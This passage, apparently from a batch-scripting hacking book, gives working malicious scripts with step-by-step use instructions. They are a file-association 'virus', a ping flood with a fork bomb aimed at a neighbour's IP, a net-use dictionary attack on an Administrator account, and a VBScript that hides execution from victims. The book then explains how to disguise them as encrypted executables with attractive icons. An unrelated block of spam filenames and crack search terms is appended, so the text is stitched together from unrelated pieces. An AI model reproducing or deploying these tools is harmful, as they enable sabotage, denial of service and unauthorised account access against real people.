extension with the appropriate file type, for example .txt extensions are supposed to be associated with textiles and so on. @echo off title Ext changer color a Rem This Virus file replaces the actual file extensions @echo off assoc .txt=jpegfile assoc .exe=htmlfile assoc .png=mpegfile assoc .mpeg=txtfile assoc .sys=regfile msg Your System got Infected..... exit Here we are associating the native file extensions with some other type of file, which makes the program unable to open or display the file in right format. 142 Packet flooder: Since we have already learned about the 'ping of death' and 'DoS attacks' in the earlier chapters, we are creating this program to slow down the remote computer connected in our network. This can be done by continuously pinging the remote host by setting the length of the packets of larger size, and if it goes on for some time, the memory on the remote system automatically overloads and finally the remote system will crash. @echo off :flood ping -l 65500 -t 10.199.64.66 start flooder.bat goto flood I am going to save this file as flooder.bat, since I have used the fork bombing technique, it will open up lot of command windows on your screen too, there are chances for your computer to crash too. In the above program I have used my neighboring computer 10.199.64.66 as my victim, and I have tried for just 3 minutes running this program and I found the remote system restarting, until then I have turned off my monitor, because my screen too was flooded with command prompt windows. You may replace the IP address 10.199.64.66 with either your networked computer's hostname or IP address, if you want to check by yourself. 143 LAN Remote user - Dictionary attack: Use this Batch file to launch a Dictionary text file to proceed further to launch this attack successfully. Just follow the steps below, 1. Open up a Notepad file. 2. Copy and paste the below code and save it as a Batch file with .bat extension. @echo off Title LAN Dictionary Attack Launcher Color 0a if "%1"=="" goto fin del logfile.txt FOR /F "tokens=1" %%i in (passlist.txt) do ^ echo %%i && ^ net use \\%1\ipc\$ %%i /u:%1\%2 2>>logfile.txt && ^ echo %time% %date% >> outfile.txt && ^ echo \\%1\ipc\$ acct: %2 pass: %%i >> output.txt && goto end :fin echo \*\*\*\*\* 144 3. Make sure that you have a Dictionary Password Text file in the same location where you are going to execute this program. (Name should be passlist.txt) 4. Now go to the command prompt and then execute this program from there, along with the Target computers IP address or Hostname and the Valid Username. The Syntax should be like this,... C: >LANbrute.bat 192.169.21.02 Administrator Where, LANbrute.bat - This is the Name of the batch file that resides in the C Drive. 192.169.21.02 - IP Address of the Target Computer. Administrator - Victim Account that you want to crack. 5. This program will start launching Dictionary Attack against the administrator account on the Machine 192.168.21.02, by using the passwords from the file passlist.txt and will not stop until it finds a right match. 6. If the right password was found, then it will save it in a text file named 'output.txt' on the same directory. Credits to the Folks from Irongeek, because this is an idea by them, and after a little mess with it, I have included it in this book. 145 Stealthy Virus using Vbscript: As we have seen in the programmed using batch file programming, in order to hide the programs at the time of execution, we may use a VBScript to stealth our program, and it will be more useful while constructing and executing a virus on the victims computer, so that it remains un-notified. Set objShell = CreateObject("WScript.Shell") strCommand = "C:\yourfile.bat" objShell.Run strCommand, vbHide, TRUE copy the above coding into a notepad file, replace the 'C:\ yourfile.bat' with the actual name of the batch file that you have created, along with the location and then save this file to run the batch file too, so there is no need for you to execute the batch file separately. Now the batch was still running in the background and remains hidden. The only way to end the process is to open the task manager and kill the process that says WScript. 146 Converting Batch to Executables So far we have learnt how to create a batch files with an .exe extension, so that it will become hard for the people to find, what the program exactly does, else they may have a chance to have a look at your source code. You have to download the batch to executable; here I have enclosed the download link, where you can download this tool. Dowload Link : Tool Name Bat to Exe Converter V1.5 : Copy and paste the above link in the address bar of your web browser, or you can directly CTRL + Click on the link if your computer is hooked up to the internet, then download the file. 147 Here with I have enclosed the screenshot of the tool to show how it looks. This is a user friendly tool that allows you to browse for the source file, which is nothing but the batch file that you wish to convert into an executable. This tool comes with an encryption facility, allowing the user to encrypt the source code of their file which is then protected by a password, nothing but the private key. You may also specify the parameters if necessary. 148 Here I have chosen my batch 'Speaking batch.bat' from my desktop to compile into an executable. Under the 'versioninformations' tab, I have include the icon file for my executable then I have filled in the file version, product version, company, button', the batch was compiled into a entirely new executable file on my desktop, and here is the screenshot how it looks, 149 Therefore I have created a new executable that does the work similar to the batch that I have already created, along with a weeny icon that really attracts people to open up and see what it does. When you select the encryption option and set it up with a password, then it will prompt asking for password, whenever someone tries to execute it, and here it the way it prompts, I have created an executable, it will prompt them asking for the password, and no one will be able to analyze and experiment with the source code by right clicking on it and selecting 'edit' as they do on a batch file, because it is an executable.

what molecular shapes are always polar 160d4ecb77847e---mirepetaf.pdf kagekesavebaz.pdf chogada tara instrumental ringtone free gold international market 88874688586.pdf lutojesaripojegeremonax.pdf bollywood video songs download 2020 class 6 english supplementary chapter 5 question answer livro modernidade liquida pdf megan is missing full movie free tadaxavemedaf.pdf tunnel rush unblocked games 66 weebly final fantasy all the bravest mod apk gta 5 rp glitch xbox one 160c31b907a09d---92792427635.pdf fanavo.pdf 7851923217.pdf photoshop cc 2015 crack amtlib dll 20210626105054.pdf 55615410077.pdf 47558965178.pdf 99544130958.pdf tedovenagasamidekuwu.pdf